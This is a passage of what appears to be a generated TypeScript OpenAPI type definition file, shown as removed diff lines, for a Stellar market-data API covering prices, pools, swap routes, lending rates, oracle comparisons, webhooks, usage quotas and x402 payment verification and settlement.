delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/ready": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** - * Readiness probe - * @description Reports whether this process should receive traffic yet. Unhealthy until the boot sequence finishes — the server starts listening before the ingesters and background workers are running — and while Postgres is unreachable or unmigrated, or Redis is unreachable when Redis is part of readiness (`READINESS_REDIS_CHECK`, default true). - * A probe timeout is reported as `down`, and answers are cached briefly, so this is cheap to poll every few seconds. `/live` stays healthy throughout: a starting instance should be held out of rotation, not killed. - */ - get: operations["getReady"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/status": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** Get API status and indexer state */ - get: operations["getStatus"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/snapshot": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** - * Whole-network snapshot (venues, TVL, 24h volume, top pairs, pegs, freshness) - * @description A single timestamped summary of one network: every venue's liveness, AMM pool reserves (TVL), 24h traded volume, the busiest pairs, stablecoin peg readings and how fresh the underlying data is. All figures are read in one consistent database statement, so `asOf` is a real instant and every age is measured from it. Missing data is reported as `null` with a reason (or an empty list), never invented — a cross-pair volume total is only returned when the pairs share one unit. Responses are cached briefly per network; `cache.ageSeconds` states the age of a served copy. - */ - get: operations["getSnapshot"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/price/{assetA}/{assetB}": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** Get aggregated price for a pair */ - get: operations["getPrice"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/price/{assetA}/{assetB}/route": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** Get best swap route for a pair and amount */ - get: operations["getBestRoute"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/price/{asset}/fiat": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** Convert asset price to fiat currency with NGN support (#290) */ - get: operations["getFiatPrice"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/price/{assetA}/{assetB}/history": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** Get price history buckets */ - get: operations["getPriceHistory"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/pools": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** Get AMM liquidity pool reserves and spot prices */ - get: operations["getPools"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/candles/{assetA}/{assetB}": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** Get OHLCV candle data */ - get: operations["getCandles"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/prices/history": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** - * Get historical 1-minute price snapshots - * @description Returns minute-resolution price snapshots for a pair over [from, to], optionally aggregated into 5m or 1h buckets. Snapshots are retained for ~30 days. Gated by x402 (matches the /price prefix). - */ - get: operations["getPriceSnapshots"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/pairs": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** List all active trading pairs */ - get: operations["listPairs"]; - put?: never; - /** Add a new trading pair (Admin only) */ - post: operations["addPair"]; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/price/{assetA}/{assetB}/depth": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** - * Get order-book depth and execution slippage for a pair - * @description Simulates an order of `amount` units of assetA and returns the price ladder plus the execution price and slippage versus the spot price. - */ - get: operations["getDepth"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/book/{assetA}/{assetB}": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** - * Get the aggregated SDEX and AMM price ladder for a pair - * @description Returns asks and bids as cumulative assetA size at each price. Live SDEX levels are reported as observed; AMM levels are synthetic, fee-adjusted reserve steps. `depth` is a fractional price distance around spot (default 0.1), and `step` is the fraction of each AMM reserve used per synthetic level (default 0.01). Per-venue sample counts, observation times, ages and availability are included. - */ - get: operations["getBook"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/impact/{assetA}/{assetB}": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** - * Get an adaptive slippage impact curve for a pair - * @description Returns slippage at standard trade sizes, an additional liquidity-sized point, and the size at which configured slippage thresholds are crossed. A thin pair returns `insufficient_liquidity` instead of a fabricated 100% slippage result. - */ - get: operations["getImpact"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/price/twap/{assetA}/{assetB}": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** Get a manipulation-resistant time-weighted average price */ - get: operations["getTwap"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/price/vwap/{assetA}/{assetB}": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** Get a volume-weighted average price */ - get: operations["getVwap"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/volumes/{asset}": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** - * Get cross-venue traded volume for an asset - * @description Sums traded volume for `asset` across every pair and venue it appears in, measured in the asset's own units, with a per-venue breakdown and trade-size statistics. `volumeConcentration` is the Herfindahl-Hirschman Index (HHI), calculated as the sum of squared per-trade volume shares across the selected venues and window; it ranges from 0 to 1, with 1 meaning all volume came from one trade. A missing statistic is `null` when there are no trades or no positive volume. Provenance reports the venues, positive-volume trade count, observed sample count, most recent trade timestamp and its age at `endTime`. - */ - get: operations["getVolumes"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/spreads/{asset}": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** - * Get the tightest per-venue bid/ask spread for an asset - * @description Reports, for every (venue, pair) that quoted `asset` inside the window, the observed low, high and spread in basis points, tightest first. The spread is the dispersion of recent prints, not a resting order book's top-of-book gap. - */ - get: operations["getSpreads"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/rates/{asset}": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** - * Get supply and borrow rates for an asset across lending venues - * @description Answers what `asset` earns when supplied and costs to borrow at every lending venue Lens ingests, one entry per venue sorted best-first (highest supply rate first). Each entry names the venue, the source it was read from and the specific pool/market it came from, so a rate is always attributable and venues are never silently averaged. - * An asset with no lending market returns an empty `venues` list with a 200, not a 404. - */ - get: operations["getLendingRates"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/compare/{asset}": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** - * Compare Lens prices with every configured external oracle - * @description Returns 200 even when both Lens and all configured oracles have no data for the asset. The `status` field distinguishes "no_data" from "aligned", "minor_deviation", "major_deviation" and "partial" (one source only). The response includes both the legacy `reflector` field for backward compatibility and an `oracles` array listing every configured source. - */ - get: operations["compareAsset"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/screener": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** Screen pairs by volume, change, liquidity and price */ - get: operations["screenPairs"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/movers": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** - * Get biggest gainers, biggest losers, and volume movers - * @description Returns the top gainers, losers, and volume movers for the specified lookback window, annotated with venue provenance, sample counts, and single-venue move labelling. - */ - get: operations["getMovers"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/benchmark/{asset}": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** Get peg-deviation statistics for an asset against a target */ - get: operations["getBenchmark"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/basket": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** - * Compute the weighted price of a basket of assets - * @description Returns 200 even when one or more assets have no price data. The response body will contain an `error` field listing the missing assets and `reason: "missing_price_data"` rather than computing a partial basket price. A 404 would imply the assets themselves are invalid. - */ - get: operations["getBasket"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/correlation": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** Compute price correlation matrix across a basket of assets over a window */ - get: operations["getCorrelation"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/discovery/resources": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** Browse the x402 Bazaar catalog of discoverable resources */ - get: operations["listDiscoveryResources"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/discovery/search": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** Natural language search with ranking and quality evaluation for discoverable resources */ - get: operations["searchDiscoveryResources"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/webhooks": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - get?: never; - put?: never; - /** - * Subscribe to a price-threshold webhook - * @description Registers an HTTPS endpoint to be called when the pair's price crosses `threshold` in the given `direction`. The response contains the signing secret exactly once. - */ - post: operations["createWebhook"]; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/webhooks/{id}": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - get?: never; - put?: never; - post?: never; - /** Delete a webhook subscription */ - delete: operations["deleteWebhook"]; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/usage/me": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** Get usage and quota for the calling API key */ - get: operations["getMyUsage"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/usage": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** Get usage and quota for the calling API key (alias for /usage/me) */ - get: operations["getCallerUsage"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/supported": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** List the payment kinds and extensions this facilitator supports */ - get: operations["getSupported"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/verify": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - get?: never; - put?: never; - /** Verify an x402 payment payload */ - post: operations["verifyPayment"]; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/settle": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - get?: never; - put?: never; - /** - * Settle an x402 payment (idempotent) - * @description Submits the payment transaction and records the attempt keyed on its transaction hash. Retrying the same payload replays the stored answer instead of paying twice. - */ - post: operations["settlePayment"]; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/graphql": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** Execute a GraphQL query over HTTP GET */ - get: operations["graphqlGet"]; - put?: never; - /** Execute a GraphQL query, mutation or subscription handshake */ - post: operations["graphqlPost"]; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; -} -export type webhooks = Record; -export interface components { - schemas: { - InternalErrorResponse: { - /** - * @example internal_error - * @enum {string} - */ - code: "internal_error"; - /** @example An internal server error occurred. */ - message: string; - /** @example 9b1deb4d-3b7d-4bad-9bdd-2b0d7b3dcb6d */ - correlationId: string; - }; - /** @description Result of one dependency probe. `reason` is a fixed phrase, never the raw error: connection errors carry the host and port and this is a public endpoint. */ - DependencyCheck: { - /** @enum {string} */ - status: "up" | "down" | "skipped"; - /** @description Round-trip time of the probe. */ - latencyMs: number; - /** @example unreachable or not migrated */ - reason: string | null; - }; - /** @description Readiness of one instance. Identical on 200 and 503; `ok` and the HTTP status together say whether traffic should be routed here. */ - ReadinessReport: { - /** @description True only when boot finished and every checked dependency is up. */ - ok: boolean; - /** @description False while the boot sequence is still running. */ - booted: boolean; - checks: { - postgres: components["schemas"]["DependencyCheck"]; - redis: components["schemas"]["DependencyCheck"]; - }; - /** - * Format: date-time - * @description When the underlying probes ran (answers may be briefly cached). - */ - checkedAt: string; - }; - Asset: { - code?: string; - issuer?: string | null; - }; - /** @description A Stellar asset. The issuer is kept because a code such as USDC names a different asset per issuer; `issuer` is null only for the native asset. */ - SnapshotAsset: { - code?: string; - issuer?: string | null; - }; - SnapshotVenue: { - name?: string; - source?: string; - /** @enum {string} */ - type?: "orderbook" | "amm" | "unknown"; - enabled?: boolean | null; - /** @enum {string} */ - status?: "reporting" | "stale" | "silent" | "disabled"; - samples?: number; - samples24h?: number; - pairs24h?: number; - /** Format: date-time */ - lastUpdated?: string | null; - ageSeconds?: number | null; - }; - SnapshotPool: { - poolId?: string; - pairKey?: string | null; - assetA?: components["schemas"]["SnapshotAsset"]; - assetB?: components["schemas"]["SnapshotAsset"]; - reserveA?: number | null; - reserveB?: number | null; - spotPrice?: number | null; - feeBp?: number | null; - /** Format: date-time */ - lastUpdated?: string | null; - ageSeconds?: number | null; - }; - SnapshotVolume: { - value?: number | null; - unit?: components["schemas"]["SnapshotAsset"] | null; - reason?: string | null; - }; - SnapshotTopPair: { - pairKey?: string; - /** @description Whether the pair is in this network's watched-pair config. When false the asset order (and therefore the price direction) is taken from the alphabetically-sorted pair key. */ - configured?: boolean; - assetA?: components["schemas"]["SnapshotAsset"] | null; - assetB?: components["schemas"]["SnapshotAsset"] | null; - /** @description Stored as assetB-per-assetA in the config's order. */ - price?: number | null; - baseVolume24h?: number; - counterVolume24h?: number; - samples24h?: number; - venues?: string[]; - /** Format: date-time */ - lastUpdated?: string | null; - ageSeconds?: number | null; - }; - SnapshotPeg: { - asset?: components["schemas"]["SnapshotAsset"]; - target?: string; - pairKey?: string; - quote?: components["schemas"]["SnapshotAsset"] | null; - /** @description The pegged asset's price in its quote asset. */ - price?: number | null; - deviationBp?: number | null; - /** @enum {string} */ - status?: "on_peg" | "off_peg" | "no_reference" | "no_data"; - reason?: string | null; - samples24h?: number; - /** Format: date-time */ - lastUpdated?: string | null; - }; - SnapshotResponse: { - /** @enum {string} */ - network?: "testnet" | "mainnet"; - /** - * Format: date-time - * @description The single instant (from one database statement) every window and age is measured from. - */ - asOf?: string; - /** Format: date-time */ - generatedAt?: string; - /** @enum {string} */ - window?: "24h"; - cache?: { - ttlSeconds?: number; - maxAgeSeconds?: number; - hit?: boolean; - /** Format: date-time */ - storedAt?: string; - ageSeconds?: number | null; - }; - venues?: components["schemas"]["SnapshotVenue"][]; - tvl?: { - note?: string; - poolCount?: number; - sampleCount?: number; - /** Format: date-time */ - lastUpdated?: string | null; - ageSeconds?: number | null; - stale?: boolean; - byAsset?: { - asset?: components["schemas"]["SnapshotAsset"]; - amount?: number; - pools?: number; - }[]; - pools?: components["schemas"]["SnapshotPool"][]; - }; - volume24h?: { - /** @enum {string} */ - window?: "24h"; - sampleCount?: number; - byVenue?: { - venue?: string; - baseVolume?: number; - counterVolume?: number; - samples?: number; - pairs?: number; - /** Format: date-time */ - lastUpdated?: string | null; - ageSeconds?: number | null; - }[]; - total?: components["schemas"]["SnapshotVolume"]; - }; - topPairs?: components["schemas"]["SnapshotTopPair"][]; - pegs?: components["schemas"]["SnapshotPeg"][]; - freshness?: { - /** Format: date-time */ - asOf?: string; - /** Format: date-time */ - windowStart?: string; - /** Format: date-time */ - windowEnd?: string; - /** Format: date-time */ - lastUpdated?: string | null; - ageSeconds?: number | null; - staleAfterSeconds?: number; - stale?: boolean; - venuesReporting?: number; - venuesExpected?: number; - venuesSilent?: number; - }; - }; - AggregatedPrice: { - assetA?: string; - assetB?: string; - pairKey?: string; - price?: number | string; - sdexPrice?: number | string; - ammPrice?: number | string; - /** @enum {string} */ - bestRoute?: "SDEX" | "AMM" | "SPLIT" | "UNKNOWN"; - volume24h?: number | string; - sdexVolume24h?: number | string; - ammVolume24h?: number | string; - vwap1m?: number | string; - vwap5m?: number | string; - vwap1h?: number | string; - vwap24h?: number | string; - priceChange24h?: number | string; - /** Format: date-time */ - lastUpdated?: string; - sources?: number; - /** @enum {string} */ - confidence?: "high" | "medium" | "low" | "unknown"; - lastTradeAgeSeconds?: number | null; - }; - RouteHop: { - assetIn: components["schemas"]["Asset"]; - assetOut: components["schemas"]["Asset"]; - /** @enum {string} */ - venue: "SDEX" | "AMM"; - poolId?: string; - inputAmount: number; - outputAmount: number; - price: number; - spotPrice: number; - slippagePct: number; - }; - RouteOption: { - hops: components["schemas"]["RouteHop"][]; - hopCount: number; - estimatedOutput: number; - effectivePrice: number; - slippagePct: number; - }; - RouteComparison: { - direct: { - /** @enum {string} */ - route: "SDEX" | "AMM" | "SPLIT" | "UNKNOWN"; - sdexPrice: number; - ammPrice: number; - estimatedOutput: number; - slippagePct: number; - }; - multiHop: components["schemas"]["RouteOption"] | null; - }; - RouteProvenance: { - /** Format: date-time */ - sampledAt: string; - network: string; - venuesQueried: string[]; - sampleCount: number; - freshnessSeconds: number | null; - }; - RouteInfo: { - /** @enum {string} */ - route: "SDEX" | "AMM" | "SPLIT" | "MULTI_HOP" | "UNKNOWN"; - sdexPrice: number | string; - ammPrice: number | string; - estimatedOutput: number | string; - slippagePct: number | string; - recommendation: string; - /** @enum {string} */ - network?: "testnet" | "mainnet"; - hops?: components["schemas"]["RouteHop"][]; - comparison?: components["schemas"]["RouteComparison"]; - provenance?: components["schemas"]["RouteProvenance"]; - }; - PriceBucket: { - /** Format: date-time */ - bucket?: string; - window?: string; - vwap?: number | string; - sdexVwap?: (number | string) | null; - ammVwap?: (number | string) | null; - volume?: number | string; - tradeCount?: number; - open?: (number | string) | null; - close?: (number | string) | null; - high?: (number | string) | null; - low?: (number | string) | null; - }; - PriceLevel: { - price: number | string; - size: number | string; - }; - DepthResponse: { - assetA: string; - assetB: string; - pairKey: string; - spotPrice: number | string; - executionPrice: number | string; - slippagePct: number | string; - asks: components["schemas"]["PriceLevel"][]; - bids: components["schemas"]["PriceLevel"][]; - /** @enum {string} */ - source: "AMM" | "SDEX" | "BOTH"; - }; - BookLevel: { - /** @description Quote-asset units per base-asset unit. */ - price: number | string; - /** @description Base-asset size at this level. */ - size: number | string; - /** @description Base-asset size from the best price through this level, independently for asks and bids. */ - cumulativeSize: number | string; - /** @description SDEX for order-book levels or AMM:{poolId} for each contributing pool. */ - venues: string[]; - /** @description True for reserve-derived AMM steps; false for observed SDEX book levels. */ - synthetic: boolean; - /** @description Number of source levels combined at this price. */ - sampleCount: number; - }; - BookSource: { - venue: string; - /** @enum {string} */ - status: "available" | "no_liquidity" | "unavailable"; - /** @description SDEX book levels returned, or latest AMM pool snapshots used. */ - sampleCount: number; - /** Format: date-time */ - observedAt: string | null; - dataAgeSeconds: number | null; - /** @description True when the SDEX response reached the 200-level per-side request limit. */ - truncated: boolean; - }; - BookResponse: { - assetA: string; - assetB: string; - pairKey: string; - /** @enum {string} */ - network: "testnet" | "mainnet"; - spotPrice: number | null; - /** @enum {string|null} */ - spotSource: "SDEX_MID" | "SDEX_ASK" | "SDEX_BID" | "AMM_RESERVES" | null; - depth: number; - step: number; - /** @enum {string} */ - status: "ok" | "partial" | "no_liquidity" | "no_levels_in_range" | "unavailable"; - asks: components["schemas"]["BookLevel"][]; - bids: components["schemas"]["BookLevel"][]; - provenance: { - /** Format: date-time */ - sampledAt: string; - sampleCount: number; - venues: components["schemas"]["BookSource"][]; - }; - }; - ImpactResponse: { - assetA: string; - assetB: string; - pairKey: string; - /** @enum {string} */ - status: "ok" | "insufficient_liquidity"; - spotPrice: number; - availableLiquidity: number; - smallestSize: number; - ladder: { - size: number; - output: number; - executionPrice: number; - slippagePct: number; - }[]; - thresholds: { - thresholdPct: number; - crossed: boolean; - size: number | null; - }[]; - /** @enum {string} */ - source: "AMM"; - }; - TwapResponse: { - assetA: string; - assetB: string; - pairKey: string; - /** @enum {string} */ - network: "testnet" | "mainnet"; - twap: number | string; - windowMinutes: number; - sampleIntervalSeconds: number; - /** Format: date-time */ - startTime: string; - /** Format: date-time */ - endTime: string; - sampleCount: number; - outlierRejected: number; - /** @enum {string} */ - filterMethod: "iqr" | "modified_zscore"; - }; - VwapResponse: { - assetA: string; - assetB: string; - pairKey: string; - /** @enum {string} */ - network: "testnet" | "mainnet"; - vwap: number | string; - windowMinutes: number; - source: string; - /** Format: date-time */ - startTime: string; - /** Format: date-time */ - endTime: string; - sampleCount: number; - volumeTotal: number | string; - outlierRejected: number; - /** @enum {string} */ - filterMethod: "iqr" | "modified_zscore"; - }; - VolumeResponse: { - asset: string; - /** @enum {string} */ - network: "testnet" | "mainnet"; - /** @enum {string} */ - window: "24h" | "7d" | "30d"; - /** Format: date-time */ - startTime: string; - /** Format: date-time */ - endTime: string; - totalVolume: number; - byVenue: { - [key: string]: number; - }; - venues: string[]; - /** @description Number of positive-volume price point samples in the selected window. */ - tradeCount: number; - /** @description Median per-sample volume measured in the requested asset's units. */ - medianTradeSize: number | null; - /** @description Largest single sample's share of total volume, from 0 to 1. */ - topTradeVolumeShare: number | null; - /** @description HHI, the sum of squared per-sample volume shares; 1 is fully concentrated in one sample. */ - volumeConcentration: number | null; - /** @enum {string} */ - concentrationMeasure: "hhi"; - /** @enum {string} */ - status: "ok" | "no_trades" | "no_positive_volume"; - provenance: { - venues: string[]; - /** @description Positive-volume samples used to calculate trade-size statistics. */ - sampleCount: number; - /** @description All matching price point samples observed in the window, including zero-volume samples. */ - observedSampleCount: number; - /** Format: date-time */ - latestTradeAt: string | null; - dataAgeSeconds: number | null; - }; - }; - SpreadVenue: { - venue: string; - pairKey: string; - bid: number; - ask: number; - mid: number; - spreadBps: number; - observations: number; - /** Format: date-time */ - lastSeen: string; - }; - SpreadResponse: { - asset: string; - /** @enum {string} */ - network: "testnet" | "mainnet"; - /** @enum {string} */ - window: "5m" | "15m" | "1h" | "24h"; - /** Format: date-time */ - startTime: string; - /** Format: date-time */ - endTime: string; - venues: components["schemas"]["SpreadVenue"][]; - tightest: components["schemas"]["SpreadVenue"] | null; - }; - RateVenue: { - /** @description Lending venue the rate was read from (e.g. "blend"). */ - venue: string; - /** @description Distinct source tag stored on the row. */ - source: string; - /** @description Pool / market contract id the rate came from, never elided. */ - pool: string; - /** @description Human-readable pool name, when the venue publishes one. */ - poolName: string | null; - /** @description APY earned by supplying the asset, as a fraction (0.05 == 5%). */ - supplyRate: number; - /** @description APY charged to borrow the asset, as a fraction (0.07 == 7%). */ - borrowRate: number; - ledger: number; - /** Format: date-time */ - updatedAt: string; - }; - RatesResponse: { - asset: string; - /** @enum {string} */ - network: "testnet" | "mainnet"; - /** @description One entry per venue, sorted best-first (highest supply rate). Empty when no venue lists the asset. */ - venues: components["schemas"]["RateVenue"][]; - /** @description The highest-supply venue, or null when nothing lends the asset. */ - best: components["schemas"]["RateVenue"] | null; - count: number; - /** Format: date-time */ - computedAt: string; - }; - CompareResponse: { - asset: string; - /** @enum {string} */ - network: "testnet" | "mainnet"; - lens: number | null; - reflector: number | null; - deviationPct: number | null; - /** @enum {string} */ - status: "aligned" | "minor_deviation" | "major_deviation" | "partial"; - /** Format: date-time */ - fetchedAt: string; - /** @description One result per configured adapter; unavailable sources remain present with a status. */ - oracles: { - name: string; - price: number | null; - /** Format: date-time */ - timestamp: string | null; - deviationPct: number | null; - /** - * @description unreachable means the adapter failed; empty means it is configured but returned no quote. - * @enum {string} - */ - status: "available" | "unreachable" | "empty" | "not_configured"; - ageSeconds: number | null; - }[]; - }; - ScreenerRow: { - pair_key?: string; - volume?: number; - price?: number; - change_24h?: number; - /** @description Total liquidity across all active AMM pools for this pair on the network, computed as sum(reserve_a * spot_price + reserve_b), valued in the quote asset (asset_b) at each pool's latest snapshot spot price. */ - liquidity?: number; - /** @description The asset symbol/identifier that liquidity is denominated in, corresponding to the counter/quote asset (asset_b) of the pair (the asset after the slash in pair_key). */ - liquidity_unit?: string; - } & { - [key: string]: unknown; - }; - ScreenerResponse: { - /** - * @description The network answered for. - * @enum {string} - */ - network?: "testnet" | "mainnet"; - data: components["schemas"]["ScreenerRow"][]; - nextCursor: string | null; - hasMore: boolean; - total: number | null; - }; - MoverItem: { - pairKey: string; - assetA: string; - assetB: string; - priceChangePct: number | null; - startPrice: number | null; - endPrice: number | null; - currentVolume: number; - previousVolume: number; - volumeChangePct: number | null; - venues: string[]; - isSingleVenue: boolean; - sampleCount: number; - /** Format: date-time */ - lastUpdated: string | null; - }; - MoversResponse: { - /** @enum {string} */ - network: "testnet" | "mainnet"; - /** @enum {string} */ - window: "1h" | "24h" | "7d"; - /** Format: date-time */ - startTime: string; - /** Format: date-time */ - endTime: string; - gainers: components["schemas"]["MoverItem"][]; - losers: components["schemas"]["MoverItem"][]; - volumeMovers: components["schemas"]["MoverItem"][]; - }; - BenchmarkResponse: { - asset: string; - target: string; - pairKey: string; - currentPrice: number | null; - currentDeviationBp: number | null; - rolling24h: { - maxDeviationBp: number | null; - minDeviationBp: number | null; - maxAbsoluteDeviationBp: number | null; - averageDeviationBp: number | null; - sampleCount: number; - }; - }; - BasketResponse: { - basketPrice: number; - components: { - asset: string; - price: number; - weight: number; - contribution: number; - }[]; - weightSum: number; - /** Format: date-time */ - computedAt: string; - }; - CorrelationResponse: { - /** @enum {string} */ - network: "testnet" | "mainnet"; - /** @enum {string} */ - window: "5m" | "15m" | "1h" | "24h" | "7d" | "30d"; - /** Format: date-time */ - startTime: string; - /** Format: date-time */ - endTime: string; - assets: string[]; - /** @description Symmetric correlation matrix keyed by asset pair */ - matrix: { - [key: string]: { - [key: string]: number | null; - }; - }; - /** @description Overlapping sample count per pair */ - sampleCounts: { - [key: string]: { - [key: string]: number; - }; - }; - pairs: components["schemas"]["CorrelationCell"][]; - }; - CorrelationCell: { - assetA: string; - assetB: string; - /** @description Pearson correlation coefficient between -1 and 1, or null if insufficient */ - coefficient: number | null; - /** @enum {string} */ - status: "computed" | "insufficient"; - sampleCount: number; - provenance: { - sampleCount: number; - venues: string[]; - /** Format: date-time */ - oldestSample: string | null; - /** Format: date-time */ - newestSample: string | null; - }; - }; - DiscoveryResource: { - resource?: { - url?: string; - description?: string; - mimeType?: string; - serviceName?: string; - tags?: string[]; - iconUrl?: string; - } & { - [key: string]: unknown; - }; - accepts?: { - scheme?: string; - price?: string; - network?: string; - payTo?: string; - }[]; - extensions?: { - [key: string]: unknown; - }; - }; - DiscoveryResponse: { - resources: components["schemas"]["DiscoveryResource"][]; - limit: number; - offset: number; - total: number; - }; - WebhookCreatedResponse: { - id: string; - secret: string; - }; - UsageResponse: { - keyId: string; - dailyCalls: number; - dailyCents: number; - monthlyCalls: number; - monthlyCents: number; - dailyQuotaCents: number; - monthlyQuotaCents: number; - dailyRemainingCents: number; - monthlyRemainingCents: number; - /** @enum {string} */ - overagePolicy: "block" | "charge_402" | "allow_overage"; - quotaExceeded: boolean; - dailyResetsAt?: string; - monthlyResetsAt?: string; - resets?: { - daily?: string; - monthly?: string; - }; - resetsInSeconds?: { - daily?: number; - monthly?: number; - }; - }; - VerifyRequest: { - x402Version?: number; - paymentPayload: Record; - paymentRequirements: Record; - }; - VerifyResponse: { - isValid: boolean; - invalidReason?: string | null; - invalidMessage?: string | null; - payer?: string | null; - } & { - [key: string]: unknown; - }; - SettleRequest: { - x402Version?: number; - paymentPayload: Record; - paymentRequirements: Record; - }; - SettleResponse: { - success: boolean; - errorReason?: string | null; - errorMessage?: string | null; - transaction: string; - network: string; - } & { - [key: string]: unknown; - }; - SupportedResponse: { - kinds?: { - scheme?: string; - network?: string; - }[]; - extensions?: string[]; - } & { - [key: string]: unknown; - }; - GraphQlResponse: { - data?: Record | null; - errors?: { - message?: string; - }[]; - } & { - [key: string]: unknown; - }; - }; - responses: { - /** @description Payment Required */ - PaymentRequired: { - headers: { - [name: string]: unknown; - }; - content: { - "application/json": { - x402Version?: number; - accepts?: { - scheme?: string; - price?: string; - network?: string; - payTo?: string; - }[]; - error?: string; - description?: string; - }; - }; - }; - /** @description Rate limit exceeded */ - TooManyRequests: { - headers: { - /** @description Seconds to wait before retrying */ - "Retry-After"?: number; - /** @description Remaining requests in current window */ - "X-RateLimit-Remaining"?: number; - [name: string]: unknown; - }; - content: { - "application/json": { - statusCode?: number; - error?: string; - message?: string; - retryAfter?: string; - }; - }; - }; - /** @description Internal server error */ - InternalServerError: { - headers: { - [name: string]: unknown; - }; - content: { - "application/json": components["schemas"]["InternalErrorResponse"]; - }; - }; - }; - parameters: { - /** @description Formatting for decimal quantities (prices, volumes, reserves). Set to `string` to serialize high-precision `Decimal(36,18)` quantities as exact strings, 